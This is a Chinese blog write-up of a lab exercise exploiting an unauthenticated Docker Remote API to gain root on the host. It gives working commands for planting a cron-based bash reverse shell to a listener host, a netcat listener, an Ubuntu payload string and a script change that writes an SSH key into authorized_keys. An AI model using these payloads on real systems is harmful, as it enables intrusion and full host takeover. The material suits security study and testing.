docker remote api 未授权访问

0x00 前言

学习下这个Docker remote api漏洞,具体细节请参考http://drops.wooyun.org/papers/15892。 这里记录下我的实验过程,值得学习~~

0x01 环境配置

先关闭docker,然后开启:

1
2
sudo service docker stop
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

绑定Docker Remote Api在指定端口(这里是2375),可以自行测试。 参考API规范进行渗透:https://docs.docker.com/engine/reference/api/docker-remote-api-v1.23/ 操作Docker API可以使用python dockert api 完成。

1
pip install docker-py

API使用参考:

1
https://docker-py.readthedocs.io/en/stable/api/#client-api

白帽社区给了个工具,请查看https://github.com/Tycx2ry/docker_api_vul 直接可以测试使用下:

  • 列出镜像:

    python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -l
RepoTags: ubuntu:latest

接下来就是攻击利用了,这里关键用到了volume去挂载相关敏感目录,获得root shell。接下来就说明下获取root权限的方法。

0x02 定时任务反弹shell

查看任务列表:

1
crontab -l

写入任务到用户文件中,rethat与centos 为/tmp/spool/cron/root

1
/bin/bash -c "echo \"*/1 * * * * 反弹shell \" >> /tmp/spool/cron/crontabs/root"

每分钟便会执行一次反弹shell操作:

1
*/1 * * * * bash -i >& /dev/tcp/10.0.0.130/1234 0>&1

先看下服务器API版本:

1
python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -V

根据结果,修改Client端版本:

1
python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -v 1.23

工具执行:

1
python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -C -i ubuntu:latest -H 10.10.10.130 -P 1234

攻击主机nc,收到shell:

1
nc -l -p 1234 -vvvv

查看主机定时任务,得到如下:

1
*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1

删除任务:

1
crontab -r

相关问题记录

1.Ubuntu开通root账户:

启用root账户:

1
sudo passwd root

设置一个密码,然后还要开启root登录。

1
2
sudo vi /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf 
添加一行:greeter-show-manual-login=true

允许ssh root登录:

1
2
3
4
5
sudo vi /etc/ssh/sshd_config    

PermitRootLogin without-password
改成:
PermitRootLogin yes

重启服务:

1
sudo restart ssh

2.ubuntu 运行定时反弹shell失败

ubuntu下需要重启cron服务或者系统,未成功执行。 找到针对Ubuntu系统级别的配置文件/etc/crontab

1
2
3
4
5
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

Ubuntu的POC如下:

1
payload = '/bin/bash -c "echo \\\"*/1 * * * * root /bin/bash -i >& /dev/tcp/'+lhsot+'/'+lport+' 0>&1\\\" >> /tmp2/crontab"' #ubuntu

测试成功:

1
python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -C -i ubuntu:latest -H 10.10.10.130 -P 1234

查看写入定时任务情况:

0x03 写ssh authorized_keys

将自己的公钥写到目标机器上。需要chmod 600,才能被识别。
修改了下脚本:换成自己的密钥,并将authorized_keys权限设置成600。

1
2
3
4
5
if payload != '':
print cli.exec_start(exec_id=cli.exec_create(container=container.get('Id'), cmd=payload))
if key == 1:
cli.exec_start(exec_id=cli.exec_create(container=container.get('Id'), cmd='chmod 600 /tmp1/.ssh/authorized_keys'))
print "[-]chmod 600 authorized_keys ......"

如果没有.ssh文件夹就不能成功。 实际如果遇到这种情况,可以直接用python API直接操作运行各种命令查看目录等操作。 测试时,提前运行生成了一下key:

1
ssh-keygen -t rsa

运行程序,成功添加公钥:

1
python dockerRemoteApiGetRootShell.py -h 10.10.10.135 -p 2375 -C -i ubuntu:latest -k

具体细节可以阅读下工具源码,很好理解滴~~

0x04 参考

http://drops.wooyun.org/papers/15892
https://github.com/Tycx2ry/docker_api_vul
http://joychou.org/index.php/web/docker-remote-api-unauthorized-access.html

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/06/13/docker-remote-api-is-not-authorized-to-access/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog